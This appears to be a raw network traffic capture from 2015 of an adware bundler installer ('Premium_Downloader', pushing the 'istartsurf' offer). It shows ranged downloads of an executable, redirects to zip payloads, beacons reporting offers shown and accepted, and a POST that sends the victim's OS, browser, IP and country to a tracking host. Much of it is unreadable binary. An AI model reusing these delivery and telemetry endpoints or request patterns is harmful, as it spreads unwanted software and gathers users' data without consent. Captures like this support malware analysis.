.%6.dp.:)d....{XC.u.....#as...}..).H.@OSi.;....<.8"....8j.....oF...
5-^. ....P.....x*Q}...&..[...U.U..P.,r.bC.}..Lk...*....l>..g..2....
...-..?..8.Q._.6.....V=a.s_..|..{.P3g9.F.:.....#-2h......A....p...=}/.
..............m....-Q....W.fRF......4.5....ft..h.......cZ.X.....y.[.Q.
....../.$v.*..w....x..#.Z.<f.-.5...D{.....!.I... ....D.T".Z...D...i
z..w..~..../..\..;}.._........D..f....Y......%._......H...)..o.u~.CW..
......(...zv..........9..<_.k...9.....U.....'Y;............`.l...{.
y...;...;.....Y....Z..T.J..;K.A....w.......&..{...P..`Sg..[ .....`~9! 
....$^.......G...^.....{..c...A......xS4.....<.R.3.S.:..]...g..R...
...(......*[...Z. .<I.6......d._5z.d...y.......P...6..L@/.[.N.M`<
;...... ....?...........^F.j..X,{0........... .}...<. 9O_..........
 .-5.Q...%.C..y.v,....3.m......I0f.....y.J.jb.b..'...~6...-..I..y(L.C.
7...oY{Sx.m.8^....6.[....T..X5..l.....a....Y............|.z.jws.......
I.f...^..BX.|..."3......6..qvl.q..G....?...m();[email protected]..`......3...
....2.-...8..>.y.C.............'.......<..m...\...3n..\.%.....K[
...A...h.=..m.PR.v.62;.......r[G.WXo.........(....I........&KGE.&..^..
...j.......M.T.=1....%.....^.......B..if.>.....&`.[....&.Y......G.\
...T[5'MsB.]\...;N......\....&.eN..4C.....Sy.."........}H]R$x.d..;."..
d.t3}..^e.e.wS...G.pNfo..C-x0p..I..W...,Rb.........K..&...=.4-.G..
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=6500000-6749999
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:42 GMT
Content-Type: application/octet-stream
Content-Length: 250000
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 6500000-6749999/7590800
.....M...7-=b``..F_..XX..G..9.RN...y.5.{..t.h..SU.W..<.".._.......Z
.].F.}..8...`zW.......&~.Q.&'.=]V....iq..xBjx......{..W....d...\.;....
.E....e.9$... ....T.e...Z,..Q9......]RV6Y1..=`.3..n......H......(...qr
...8..*......<.S.|g..]...(B..n..JO]v.q.l9.R!...{;.......1.~2.K..c..
....6A/."..voE...{.&...g..b....Du......_p6d..i..7..."0~...N......V..LQ
....Z.K..>...X.....3,[email protected].,...-
y..yt"...-....t..da.}....|....o`Y&{.?._.'..y.\..dt;n....c...qJZ6.S....
....".....R.J6.T......ME.o.NFX.....c..........j.?P.*X.....E..im.r#....
....1 ..c....a@. ..Up...$.:.......28.r.o.........8..'....|.......^....
]......./.A...r"..h.....#;...G.u..o...l...w.A.......P.^t.I....7.....2)
8.f..L6..}.OH.L.M&j.[.(3.'.K....%..x=.GE.;.<[email protected]^..
....T..-.......3..Z....l..w......[.....e..,......s4.....Q...i.u)....._
...... <..Y.B.Q......s....:.....K.{wv...Vk.C.qXc..8....b..]...[...Z
nJC .q.[.......@....>>..k./T...9K..eX....5\b..<b...K......N..
...R......S.F....6..h.etQ.[....f...1..8N.cM..4...........6..0.v.......
..Q....vnJ....2...(vh..o].'..h..db...|.`G.>....Z.......1."u.....*..
w;.C.L.^3.h.....m..V}.L.4.q.w.......4Z{%(-..O@&j......8`......C.J..hv.
.....|.F-......*'x.`.]!y..(...I.iv.Vv.I.v.....4.)[...<.J....aI_N...
~0)R....1l{.... .>.k..hEG-?..qO..K.X....f)....h......0q.?]..9.B.U..
......K...n..3.q...Q..Q...x9...L..v.< ..3..Nh3...R*.%T3.."...-..GrM
U..6.?..B.Nw{lo...f'.(Rh)k........w)^.)..dt..=.Q.T.[.l.2.E.....h..Z...
'.....].K;|k....8v.'...l..D.\fu....{~O..W..$|...x......JW=q.l.B/.'
<<< skipped >>>

GET /yta33_full.exe HTTP/1.1


Range: bytes=7500000-7590799
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: de3dw6d-457zol7j.netdna-ssl.com
Connection: Keep-Alive


HTTP/1.1 206 Partial Content
Date: Sun, 26 Apr 2015 23:55:42 GMT
Content-Type: application/octet-stream
Content-Length: 90800
Connection: keep-alive
x-amz-id-2: ptmOCqsX1EQqcf2pPm jbm6xOM3nk18wl0Hj20ufSt8IwuTEgBXDrUJgV4ETryL A3QFJXXfKVM=
x-amz-request-id: DCC02AB863A5B7DE
Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT
ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"
Server: NetDNA-cache/2.2
X-Cache: HIT
Content-Range: bytes 7500000-7590799/7590800
~...8O.'..!...t..xO.5//o...v....oK.Q.$.Dg......(G2t..`0(.BQ|..U.......
.....x..in...H.sKv..M..a.s...b.?.3...C..d...v..0.tdo.I..{...~.z;..v...
>.9j.#.....W.t_|$......Na8..7.i..o.....-|...;.MPg.i.).A....=..X.".C
......K...Vk.u...M.a.v.6q.q.*..x<j.j.~?....A.3.h...Rb.s..[..E......
.....'Q.8"...P.KC.#.j....{<......)P...:Ka[VVc'.ao.......U...E....QM
(......At-........{|.H..FI..X.....,..8..cj....S.!/.0S.B..d...A.....C..
p8...|a..j.?...eZ..L...S.i... .N...v..Lb..**\U....Z.....|.`8...^t.^-J"
..:...:....#.G...{...}L.K..&.=j...%.e.Lq=$.Q..~M..CA.vy8.............i
EGkVccN....NZg\1n.}k.x.E......h..hM.Q.P..D....r.D.A....a.>\Y,[s.[2.
.8/.-.T.c..v|..E.F......f.]...X....%....G.....|8.#>.$...<..'....
.....%  ....x....G..Q..u.F.<vl..].(5v....-).(.Qzn.rT..*.<.....#.
......I.....l.j.j..K9.ThZr.....`dm..'1F*.b$R.G5......G.|....L0....D"./
..=.?~..;..."j6.ub.e....8.Tx...V......x...<..........$..m..5..H%1".
1H.8..;.......ef..8Y..........i.'..7y......u....).c{IQ.............l.z
p(F.I..q.lq:%.....K.....Ob.......Kk.^....<..K.vu..Y;...QM1:.......M
.1;.....4..t...~Y...Qf..t.-. N/.^..s,.8r..k..i.h.D...=I."R-.>......
.......w..p..aWgR.-...5y.3..xF....]2f........)<4-. .$2..L.E.......B
2^.8-......UY.55..[7.j}q...#k....N..v.).b2J....}psF....bvw~.!...../& X
.-.S...I.2 .......Qw-.u......0.....I.X.4...eQO..........v...i....#<
..?...j...P][email protected]~q.mw`O.lQ...).1*.P.(:}P}-..."....C
.e~7.)..N.j..6..3S.s,.j...S<...mw.]..._|..5S.....BD.%....8i....Q._.
...3.4?.S.9......@N...*..YMMz..M..G.Zul.-o.=c...l..E..z...K.....;&
<<< skipped >>>


GET /3562/1 HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.65 Safari/537.36
Host: dzqx32c9j9ub.cloudfront.net
Accept: */*
Accept-Encoding: gzip, deflate
Connection:keep-alive


HTTP/1.1 302 Moved Temporarily
Content-Type: text/html
Content-Length: 0
Connection: keep-alive
Date: Sun, 26 Apr 2015 23:54:47 GMT
Location: hXXp://dlrkbt247pbk6.cloudfront.net/3562_4a0d6ef43ecf5ef3093ba32ab20cf026/1.zip
Server: nginx
X-Cache: Miss from cloudfront
Via: 1.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)
X-Amz-Cf-Id: XaKnjxTk5bYfCks6IL7PXurdfM-Ii1svDd0ZZUX9EQxqhohpVkHvnw==
HTTP/1.1 302 Moved Temporarily..Content-Type: text/html..Content-Lengt
h: 0..Connection: keep-alive..Date: Sun, 26 Apr 2015 23:54:47 GMT..Loc
ation: hXXp://dlrkbt247pbk6.cloudfront.net/3562_4a0d6ef43ecf5ef3093ba3
2ab20cf026/1.zip..Server: nginx..X-Cache: Miss from cloudfront..Via: 1
.1 7922e01ab53e8f36477272573223ab35.cloudfront.net (CloudFront)..X-Amz
-Cf-Id: XaKnjxTk5bYfCks6IL7PXurdfM-Ii1svDd0ZZUX9EQxqhohpVkHvnw==..



GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.regok HTTP/1.1
Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:25 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.61 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Sun, 26 Apr 20
15 23:55:25 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.61 ms","message":"store 1 ac
tion and 0 update "}..0......


GET /v4/sof-installer/535559167_198339_B48A115F?action=smt.installer.istartsurf.finish HTTP/1.1


Connection: Keep-Alive
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926
Host: xa.xingcloud.com


HTTP/1.1 200 OK
Server: nginx/0.7.67
Date: Sun, 26 Apr 2015 23:55:30 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Connection: keep-alive
X-Powered-By: PHP/5.3.3
xa-api-version: v4
48..{"stats":"ok","time":"0.44 ms","message":"store 1 action and 0 upd
ate "}..0..



GET /28070.ashx?e=hNMAVKhukrxAU1hGZSx JO6IQh7Ozogo7OXLse4BafQHqUQ0J3/4E9SSaUQFDqWEnmP3t8anGDdzcx c lY2ey4btG OZIk/mETyJyixTFVdn5IXPnT9 7PiCC4paVhdjnbMS4Pfob2H0XoEMGadmxH59cmKdZXuemhbyj Dp3mDnvuZM8OFmDbOD 4Je6KVBe8AJTtXzkXi13pG3ZzHywWwrv9hreqncfgJCYrAwfiKC1EXBQZZixt7Vk3emdvrMXFTku JRco heK0xfXkQRxc81u2rgCm44UuTa3qd5D7MusukiOxFesStD0GefRoYnVI7Lam2S1vLHUwkQGOXz2q5sOnn E//Dw8o2fbvVqcMM7jAoddqLdDuCot28iq0o3 yQeiL1SuvBinayp0tcns/kzQV2BeJbMdc92UZetdOWqG7q5ZOaCCywDEsteg9p  hZ4DIQH5Tc9wnR9He/l4YWTWHzy3yyliyqjeW6 aP6icIIcon3ge36Sj48TdRlTFqCp5nVlY9NZg9yxBZRVgSZlQGuVMMQcXpDOddnC1pblw/gnAec0/M2w4q7aA8w3I9TwM4TB3ktSrv7ljo83blC6RlaT VZn0CSeruiA3sgYUtJHqg8bgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:55 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:55 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......



GET /premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4 HTTP/1.1
Accept: */*
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:54:43 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
600a...............z.F.>..<.w..:qH.Z..$.a...m....Nz$E...$$.2Iy..
...Z. .....Ba.l....L[.P.*.r.......%.O.ic.....?.qo..}.m4.M.e.HF.|....r9
..!.'.d.],.|/......Y.>.......O.F....G.u.I..l.X..q:?...[....l....."~
.n.....w.........Y?...x.~....t...W...t...\....d.&._...y.LO.....1.\.&.2
..........f..zM..t9....a....o.....I..t6...Et..3.--f...x......../XS....
....<.d........,.../.)_...e6....`q.]...o..S...'.s..<K.9.<....
..<...._f....K|.h.........2=e.....5...;.u.t.....'{xp.H.b2.L.i... .c
..r~...`6.c........uh.m...l.~/N{...".'. .Y?[\..O...0.f.. ....wT..4.P .
.?...%>o.![&#|.p......w*{.t.^.s,..'.p.N.N....#;..1.......i6M..},.&g
t;..<.........{.....e......c...%_..WS<]f..y|.?...q......'~8..V.N
......2{...x.1...<....0.......H?b.&.. .c......S__.t..e.\r..w.6l.vZ.
......U.M......|.....,...s..Np........O...s'....A...{?.......R.D....6A
<..............Z...D.??.....j ;.;...&..[_xn$X{..<K..U..t...S....
z.L.A..u...U... ....t...... ....._^|...~...~....~..........~..........
.....Z........{C...........|.....;_9.w.r9......r. ..n....^wk.w.......[
......B,.......k..l..7....h./......xX...g..R.2Gz.0^.r#..>.......O..
.d...Up.o.[..%^...y.........%.2..^...v..... U..}.....y../..hp9.V....0i
]....|z.....g...p.[....q.....<P.......[H.x..U.l.[A .G=.r.0.7Y*.v..{
..8.....v;m]e.f......=......(=..>.m...#p.........k{..akC......y}9..
[.....q.:L..s,0;.:,...C...By4L.f.......kI.........7A..%......c>...h
.[`............c.%......t..l....&.x....b.....k.3..7.....I.u ...#.S.U..
...S]c...EI7.:.k../..67vP.uHQ.....l....k.E..l.\`....~...X..a......
<<< skipped >>>

POST /installer/ajax HTTP/1.1


x-requested-with: XMLHttpRequest
Accept-Language: en-us
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Content-Length: 2761
Connection: Keep-Alive
Cache-Control: no-cache

country=UA&uid_orig=c68f2d2eb068de4eb4b99d4758c25a2f&uid=c68f2d2eb068de4eb4b99d4758c25a2f&affid=premium_downloader&sid=premium_downloader&cli_id=&softwareName=Premium_Downloader&installerVersion=2.0&osVersion=6.1.7601 Service Pack 1 64bit&ieVersion=4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)&defaultBrowser="C:Program Files (x86)Mozilla Firefoxfirefox.exe" -osint -url "%1"&defaultBrowserName=ff&originBrowser=ie&hostBrowser=ie&tzo=MTgw&muid=96d78f35e7b7ea4fc32736d428df43b4&cu=false&cd=false&tokyo_csrf_key=49c98c95e8133aa87fb49282a62d1be2&tokyo_csrf_timestamp=1430092483&unique_id=f3a31b785aef97068400d0987e8505fa&clientIp=193.138.244.231&ffInstalled=false&dfz=false&avdr=lDKrp/3VMDh61tuJfJlrKXs1VI6ezbhGnJBKbIRjXeIYfcyodTGERY6ZOIkepjCAJ6l5ti1eroI6fZ94jJ7hVTGSxjM0U9E77
HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:54:44 GMT
Content-Type: text/html; charset=utf-8
Transfer-Encoding: chunked
Vary: Accept-Encoding
Content-Encoding: gzip
cdc.............[mo.... ..m_.;..4...io.....Mw.a..Z.l... Rq....>..d.
q.8m...("Q.!...yxx.:Hdl.*x...^....g..,.L...,..5d.2..`K.. 8.e.0x.R."V.%
[.,c1/b.1.....J.gZ.f. ..<...iq^..R5...X..0........J>..O..<.E.
y.f#.\.b... !rQ...../...K..X..........6]..0.....<x..'..............
.X!.RU.,Q."S<ae.f....E..8.,H .0..YC..y!.BX3mf.Y...4.3X.....L ..g.2=
...-.X T}.=;..D..t...bc.Ki..6lV.I&..]*..GX_....}.0..V[-%...4vJ..*c!...
M.0x.t...)@7...R.0...<*S."o..K..v....K.'...]...1..%.K!..<....r..
>..........h!.`......9..UBkrc...v=.<....c.8...t..1m/.......#.0X.
d...e.r.[o..?.q..&.}_p..p.....#a.......-.. l.|$.....?.,V0....y./......
@j.X..L.BI.........!.?.B?..:.....<R;M....4..V.=/....=..u..mB.k.J...
.=..$E....^.~.6K..(...`.<...&...)$. ..A.z.......?.|.hX...a.B...!...
[.1 ^...M....X..@Z.. ...\Y.)..U.O.naPW.....g..t.\..sYe.._J.= ...t...N.
:7...@.......|E.......8....x........$_..:x.....Z.cV%..%..6..[.E....$.E
p..L..hzD.{.B......?...X. .h.....zR.,.......w.[ r....fO........V.7.k.!
..X..%..o..v......l.d..K...B......WlV!..{...-d.Hy....i...mV.%3|6x0..t.
..yl.e.cho>s...Y.@.).s.FI....0... ."..."$.K.":4.).O.$._..&y..7.\*m.
[email protected]_~u.?9<>..oH...Z..[.....'2.Q'...g......t...?~....
.O.y=..c.~......%r...w6=S......"...r .W....).AD.wk.oB....{..)..fg.....
.2..mCb.g._..q]UP...$,.Z~jf....3{1.]/LEa....7P..*..gd3._..E.ea`M*B..sU
I......~k}.s'.I...!..z&......9..<.|j..s...c..q..i2VF....LY-...u.V@q
..$........X&. ..brhu.....G...u:...}z.-y.U....{o...d....*`.m..R.W.lu..
..^9..?&.w.xr..k..aK@.....,Z7..m...;......]....'{rzG/.S...I.~.h?.D
<<< skipped >>>

GET /pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&display_height=50&0.05716546046916754 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:54:45 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 23:54:45 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0......


GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=c68f2d2eb068de4eb4b99d4758c25a2f&uniqid=f3a31b785aef97068400d0987e8505fa&affiliate_id=premium_downloader&software_id=premium_downloader&sponsored_id=istartsurf&tokyo_csrf2_key=e36bae18e9e1cb96233109bdc133f100&tokyo_csrf2_timestamp=1430092484&slot_number=1&index_in_screen=1&index_in_session=1&0.2720251877059125 HTTP/1.1


Accept: */*
Referer: hXXp://bi.bisrv.com/premium_downloader/premium_downloader/c68f2d2eb068de4eb4b99d4758c25a2f?v=2.0&muid=96D78F35E7B7EA4FC32736D428DF43B4
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: bi.bisrv.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Server: nginx
Date: Sun, 26 Apr 2015 23:54:54 GMT
Content-Type: image/jpeg
Transfer-Encoding: chunked
0..HTTP/1.1 200 OK..Server: nginx..Date: Sun, 26 Apr 2015 23:54:54 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..



GET /app/ping.ashx?e=b1dRW7RxYKfwl4DCqEaRhHIaPPU UwhFeq10/GADmDD6npfW4udM4feRi8wRbTsZkmnCkuUBP1fxIejITcLjyr2ze w9VTbJkaFFeKIEAzfrwAXzhrPkfUh1q4kMrPXgRTb9MeeADHVsSZRGMCOCNdOhGBXTGs9fCekcAtFi2gOaymkaLANLBL 8 zI08ozYjtw1zidYuirfvHNFJUDQd3AUyPKYVvSCRmPZxKfOYCTS9O34o2J6OgY6QMiiq/0Y97mvY1Q2Q2V4RdSdIq15Ew ec8PQL V9BPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dwxtn8l6bzztEt5NPC8YV 0onv4z5YJIIZmVbMmglLS sGbEMUI/WfG0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJaU6wyanXwNZ2W/hePtCOfZ HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:56:03 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Sun, 26 Apr 2015 23:56:03 GMT..Content-Length: 0....
..


GET /app/ping.ashx?e=s5Ydxb c7o3vtemz1TdLVnIaPPU UwhFeq10/GADmDD6npfW4udM4fqFPNHe3DAVndSFVUHxaEBEKo5xU2IcROgga322f3p0dzM566Tg0cBmVbMmglLS sGbEMUI/WfG0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJYiLkQjh57Fv8zaQsrQSHoY6EDIxFK15gt/Lad3Y6gE1ZlxWTdtZreIwlv5Qh OtHGaiLQITrgk83RjFlcoTOjAYXfE1EisPQ6Xd50l6ekWM2MvbjyrmU6rXIjcveydSUr3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22Ocfvb9IYuqI5f6VK1qPKGu2ILNQEGb1kr4uB5vT09TkZBG694Yx7aYvLSyk7ROMFjmgdhMywCxX30tiOZna9twdMpjPhBYxzqYRtea4xv9nd HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:56:03 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Sun, 26 Apr 2015 23:56:03 GMT..Content-Length: 0....
..


GET /app/ping.ashx?e=tXVAHsxnBG5xTgq6wZuT67oieMBEg1Sn3Pumfblmu5B9EKWfiY9Pr9w9nGpQKxy70q Jjl2n6lTqMDSi8JPnXntmD8Dkx2dtxTFIShqYYGTBXl5O1yvgppLUb7t3Tfqh1SwsYoPoOj/tbXDF8ERkmZiqIIptrjZsWF/DPdMjeJiu0Ec1pyxRwRfPsjAwYrz0BON6bpifNP90ZOR3qDKzNEkiM1XqVHspN5k/xV0ou3jDB1OlY/J/1vja5tS5o9NlIGeSzc754sgCNYkZM ZAmy2vGy3qKWeyGvneUrqbcI2M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj26C9PLeYwYaPTl2pfP1 VeNrZIVZUVLjKmDlNcv2CDURJiqKuNvZz53hWEHT4V7a82gLGOyTJz65ec4sn4fRJ3oCkMHcaKOj lUk/8GAeY30 HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rep.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Content-Type: image/gif
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sun, 26 Apr 2015 23:56:09 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Content-Type: image/gif..Serv
er: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powered-By: ASP.
NET..Date: Sun, 26 Apr 2015 23:56:09 GMT..Content-Length: 0..



GET /24100.ashx?e=M7A8vgjJHrgX0FFcLlqIhnFOCrrBm5PrIxJmmHlbbDmMDmRWpWBZ0CAvELRpepitjKjHf0fty0gxy5iH3IkzWz312eyQqVQtWLazpewXw1g ltfx41nMghQC drCF7eFTvYhKMprBayhLBQe2rbTMasyuDjWX8vLsJJPlhy2jdwTqcwBDTHruRy5x0Up4A3P HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:40 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
HTTP/1.1 200 OK..Date: Sun, 26 Apr 2015 23:55:40 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS......


GET /24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19Ve0/HVt76ZjAUAvnawhe3hZ317vI6orBfXCSgtUXqN5/aaUzToxOfiz0mbos5SmUuL1RonSUM0G8HF9ed47qLJdLkq GrncHeyXBDP8Ld0 yRF51HAH62EATxchauHrQ9hdXWs9gHCsWrLZx3iqhAOXSh4  HSf3c17G8X1negC9ViA7TIcAcS7jCctMSBJIv0f0wK412VyCjXsGCsDjRXr0a1dphgQ6N1XdMYGlAdJaF8KpepynoFA== HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


GET /24100.ashx?e=KC52kqqAunBxTgq6wZuT6yMSZph5W2w5jA5kVqVgWdD8SaNRCRsmEYzpbjeDHyvN7Jp hM47FGjM1N26ynjad0t8mBLx4RCPtTfdjoDFbC8ycPR kQjzMFHmS0Zrngqa/u6z7Uinv/h1kkBdu6EZ0UCN9h bV19Vqd4zZ7hmf0AjPAY6BOK aI4G r 3F6T7V/KjEEWYKZs//X7CkDuPsrumj6K0eW/0JXOJugCS3crYz9UHnTAf3Mvwero5ya7SNHyd9Jj1gdzCfQagY8pW T5OeSwUDdvaTEAacl7qjMpIdauJDKz14EU2/THngAx1bEmURjAjgjXToRgV0xrPXzobjJJ1f3pO HTTP/1.1


User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK
Date: Sun, 26 Apr 2015 23:55:41 GMT
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Server: NetDNA-cache/2.2
X-Cache: MISS
....


